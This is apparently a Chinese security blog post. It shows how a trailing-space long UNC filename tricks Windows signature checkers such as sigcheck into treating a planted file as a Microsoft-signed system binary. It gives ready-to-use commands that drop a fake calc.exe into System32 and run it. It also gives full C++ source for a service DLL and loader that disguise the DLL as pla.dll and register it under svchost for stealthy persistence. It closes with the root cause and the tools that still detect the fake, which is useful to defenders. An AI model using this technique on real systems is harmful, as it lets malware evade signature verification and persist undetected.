利用文件名欺骗伪造Catalog签名

概述

Windows默认要求,文件名中不能以空格开头或结尾,如果有空格,系统会自动移除。但是如果使用UNC文件名,空格会被保留。部分校验工具,没有处理好这种特殊文件名,导致校验文件时,拼接了错误的文件路径,达到欺骗校验的效果。

测试伪造效果

生成伪造文件

将一个用于计算Hash的exe文件,伪装为系统的计算器calc.exe:

1
type Hash.exe > "\\?\C:\Windows\System32\calc.exe "

查看文件属性-常规,两者显示基本一致,但在兼容性、文件图标、文件类型会漏出马脚:
calc属性常规.png

使用伪造文件

Long UNC文件的文件名一般无法直接使用,需要转为短文件名,命令如下:

1
2
3
4
5
6
7
8
9
10
C:\WINDOWS\system32>dir /x calc*
驱动器 C 中的卷是 Windows
卷的序列号是 4843-3834

C:\WINDOWS\system32 的目录

2019/12/07 17:09 27,648 calc.exe
2023/04/03 16:48 29,184 CALC~1.EXE calc.exe
2 个文件 56,832 字节
0 个目录 603,596,009,472 可用字节

使用sigcheck64.exe校验伪造的calc.exe文件,无论使用Long UNC文件名还是短文件名,均能通过校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
C:\1\Sigcheck>sigcheck64.exe "\\?\C:\Windows\System32\calc.exe "

Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\?\c:\windows\system32\calc.exe:
Verified: Signed
Signing date: 3:35 2010/11/21
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: Windows Calculator
Product: Microsoft?Windows?Operating System
Prod version: 6.1.7600.16385
File version: 6.1.7600.16385 (win7_rtm.090713-1255)
MachineType: 64-bit

C:\1\Sigcheck>sigcheck64.exe "C:\Windows\System32\CALC~1.exe"

Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\calc.exe :
Verified: Signed
Signing date: 3:35 2010/11/21
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: Windows Calculator
Product: Microsoft?Windows?Operating System
Prod version: 6.1.7600.16385
File version: 6.1.7600.16385 (win7_rtm.090713-1255)
MachineType: 64-bit

sigcheck64.exe添加-i参数,用于显示完整的证书链,对比原始的计算器calc.exe证书信息,仍然完全一致:
sigcheck-i.png

运行伪造文件并验证

使用wmic结合短文件名可正常启动伪造文件:

1
2
3
4
5
6
7
8
9
C:\1>wmic process call create C:\Windows\System32\CALC~1.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1916;
ReturnValue = 0;
};

wmic_短文件名.png

如果wmic使用Long UNC文件名,会启动正常的系统计算器:
wmic_unc.png

直接使用Long UNC文件名无效:

1
2
C:\1>"\\?\C:\Windows\System32\calc.exe "
系统找不到指定的路径。

直接使用短文件名,会弹出正常计算器:

1
C:\1>C:\Windows\System32\CALC~1.EXE

8.3_normal.png

使用ProcessExplorer验证运行的伪造文件,进程描述、厂商名称等无法欺骗,但是文件仍然通过了验证:
procexp_calc.png

PCHunter与之类似,显示出了伪造文件的原始信息,但仍然通过了数字签名验证:
pchunter_fakecalc.png

删除伪造文件

1
2
3
C:\WINDOWS\system32>del c:\Windows\System32\CALC~1.exe
或者
C:\WINDOWS\system32>del "\\?\C:\Windows\System32\calc.exe "

部分无法伪造和欺骗的功能

文件属性-详细信息,可以正常识别伪造文件和正常文件的信息:
calc属性详细信息.png

PCHunter-模块窗口,校验模块数字签名,无法通过数字签名验证:
pchunter_module.png

扩展用法

将该方法与伪造系统服务Dll结合使用,由正常的系统进程svchost.exe加载自己的服务Dll,达到更隐蔽的伪装效果。

编写一个伪装为系统服务的Dll文件svchost.dll,以及服务加载器LoadSvchostDll.exe,代码如下:

svchost.dll代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#define serviceName L"svchost"
#include "pch.h"
#include <windows.h>
#include <wchar.h>
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
HANDLE g_hModule = 0;
SERVICE_STATUS_HANDLE hStatus = 0;
SERVICE_STATUS ss;
DWORD aexit;

VOID WINAPI handler(DWORD code);

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{

g_hModule = hModule;
return TRUE;
}

extern "C"
__declspec(dllexport)
void WINAPI ServiceMain(int argv, wchar_t* argc[])
{
//初始化
HANDLE file;
aexit = 0;
ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
ss.dwCurrentState = SERVICE_STOPPED;
// 设置服务可以使用的控制
// 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP
// SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续”
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
ss.dwWin32ExitCode = 0;
ss.dwServiceSpecificExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandlerW(argc[0], handler);
if (hStatus == 0)
{
OutputDebugString(L"RegisterServiceCtrlHandlerW hStatus == 0");
return;
}
//设置为启动状态
ss.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus(hStatus, &ss);
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus, &ss);

//服务运行循环
while (1)
{
Sleep(1000);
if (aexit == 1)
{
break;
}

OutputDebugString(L"runing!!");
}

//服务循环退出后将设置退出状态
ss.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ss);
}
VOID WINAPI handler(DWORD code)
{
switch (code)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(hStatus, &ss);

ss.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ss);
aexit = 1;
OutputDebugString(L"[hijack] service is stopped...");
break;

case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSE_PENDING;
SetServiceStatus(hStatus, &ss);

ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus(hStatus, &ss);

OutputDebugString(L"[hijack] service is PAUSE...");
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_CONTINUE_PENDING;
SetServiceStatus(hStatus, &ss);

ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus, &ss);

OutputDebugString(L"[hijack] service is CONTINUE...");
break;
case SERVICE_CONTROL_SHUTDOWN:
ss.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(hStatus, &ss);

ss.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ss);
aexit = 1;
OutputDebugString(L"[hijack] service is stopped...");
break;
default:
break;
}
}

LoadSvchostDll.exe代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#define _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <wchar.h>
#include <stdio.h>

#define serviceName "svchost"
#define WserviceName L"svchost"

HANDLE g_hModule = 0;
SERVICE_STATUS_HANDLE hStatus = 0;
SERVICE_STATUS ss = { 0 };
DWORD dwExit = 0;
DWORD Install(const WCHAR* modulePath)
{
SC_HANDLE hScm = 0;
SC_HANDLE hSer = 0;
char groupName[] = "svctest";
char fullPath[128] = { 0 };
//WCHAR modulePath[MAX_PATH] = { 0 };
HKEY hMainKey = HKEY_LOCAL_MACHINE;
HKEY hSubKey = 0, htemp;
DWORD result, lpcbMaxValueLen, valueType, valueSize, dtemp;
BYTE* value;
result = RegOpenKeyExW(hMainKey, L"software\\microsoft\\windows nt\\currentversion\\svchost", 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hSubKey);
if (result != ERROR_SUCCESS)
{
return result;
}
RegQueryInfoKeyW(hSubKey, 0, 0, 0, 0, 0, 0, 0, 0, &lpcbMaxValueLen, 0, 0);
value = (BYTE*)malloc(lpcbMaxValueLen + 24);

memset(value, 0, lpcbMaxValueLen + 24);
valueSize = lpcbMaxValueLen + 24;
result = RegQueryValueExA(hSubKey, groupName, 0, &valueType, value, &valueSize);


//找服务组,如果找到则在找是否本服务已加入,没有就加入否则退出, 如果没有找到服务组则创建服务组并向该
//服务组添加本服务
if (result == ERROR_SUCCESS) //找到服务组
{
memcpy(value + valueSize - 1, serviceName, strlen(serviceName) + 1);
memset(value + valueSize + strlen(serviceName), 0, 1);
//RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度
result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize + strlen(serviceName) + 1);
free(value);
RegCloseKey(hSubKey);
}
else
{
memcpy(value, serviceName, strlen(serviceName) + 1);
memset(value + strlen(serviceName) + 1, 0, 1);
valueSize = strlen(serviceName) + 2;
//RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度
result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize);
free(value);
RegCloseKey(hSubKey);
}


if (result != ERROR_SUCCESS)
{
return 0;
}


//打开服务管理器
hScm = OpenSCManagerW(0, 0, SC_MANAGER_ALL_ACCESS);

if (hScm == 0)
{
wprintf(L"OpenSCManagerW error code is %d\n", GetLastError());
return 0;
}
sprintf(fullPath, "c:\\windows\\system32\\svchost.exe -k %s", groupName);

//创建该服务
hSer = CreateServiceA(hScm, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, fullPath, 0, 0, 0, 0, 0);
if (hSer == 0)
{
wprintf(L"CreateServiceW error code is %d\n", GetLastError());
CloseServiceHandle(hScm);
return 0;
}

sprintf(fullPath, "system\\currentcontrolset\\services\\%s", serviceName);

//服务创建成功,这里就会打开
result = RegOpenKeyExA(hMainKey, fullPath, 0, KEY_ALL_ACCESS, &hSubKey);
if (result != ERROR_SUCCESS)
{
return 0;
}

//添加Parameters键
result = RegCreateKeyExW(hSubKey, L"Parameters", 0, 0, 0, KEY_ALL_ACCESS, 0, &htemp, &dtemp);
if (result != ERROR_SUCCESS)
{
RegCloseKey(hSubKey);
return 0;
}//给Parameters键添加值名ServiceDll, 数据就是dll路径
result = RegSetValueExW(htemp, L"ServiceDll", 0, REG_EXPAND_SZ, (PBYTE)modulePath, wcslen(modulePath) * sizeof(WCHAR) + 2);
RegCloseKey(hSubKey);
RegCloseKey(htemp);

StartServiceW(hSer, 0, NULL);

if (hSer) CloseServiceHandle(hSer);
if (hScm) CloseServiceHandle(hScm);


return 1;
}
void wmain()
{
Install(L"C:\\Windows\\System32\\pla~1.dll");
}

将恶意svchost.dll伪装为系统的pla.dll:

1
type svchost.dll > "\\?\C:\Windows\System32\pla.dll "

运行LoadSvchostDll.exe注册并加载服务,可以看到服务已运行:

srv_dll_running.png

使用ProcessExplorer查看,伪装很成功:
px_srvdll_verify.png

使用PCHunter查看,服务签名验证可以通过,模块文件签名验证仍然不行:
pchunter_srvdll_verify.png

pchunter_srvdll_no_verify.png

原理浅析

以sigcheck64.exe为例,调用CraeteFileWinVerifyTrust可以准确区分系统文件和伪装文件的路径;在使用FindFirstFileW函数获取路径后,文件名会保存在WIN32_FIND_DATAW结构体的cFileName成员中,但是对于Long UNC的文件名,此时WIN32_FIND_DATAW.cFileName保存的是带空格的文件名"calc.exe ",又因为系统会忽略末尾的空格,导致后续校验文件时,使用的是原始的计算器路径C:\Windows\System32\calc.exe;如果手工修改WIN32_FIND_DATAW.cFileNamecalc~1.exe(或者使用能够保存短文件名的cAlternateFileName替代cFileName),就可以对伪造calc.exe的路径做校验,此时校验失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\calc~1.exe:
Verified: Unsigned
Link date: 10:31 2006/10/15
Publisher: n/a
Company: keir.net
Description: File hasher
Product: Hash
Prod version: 1, 0, 4, 0
File version: 1, 0, 4, 0
MachineType: 32-bit

其实对比之前欺骗成功的路径,可以发现sigcheck64显示的文件路径并不是我们传递的路径:
error_path.png

微软关于文件名的规定:

https://learn.microsoft.com/zh-CN/troubleshoot/windows-client/shell-experience/file-folder-name-whitespace-characters

摘要

将保存以 ASCII 空格 (0x20) 开头或结尾的文件和文件夹名称,而不使用这些字符。 以 ASCII 周期 (0x2E) 字符结尾的文件和文件夹名称也将在没有此字符的情况下保存。 将保留所有其他尾随或前导空格字符。

对象管理器

创建时,对象管理器会删除文件或文件夹名称开头或结尾的 ASCII 空格 (0x20) 字符。

创建时,对象管理器会删除文件或文件夹名称末尾的 ASCII 周期 (0x2E) 字符。

对象管理器会保留所有其他前导或尾随空格字符。

附录

参考链接:

https://zhuanlan.zhihu.com/p/30255849

https://www.cnblogs.com/bonelee/p/16482684.html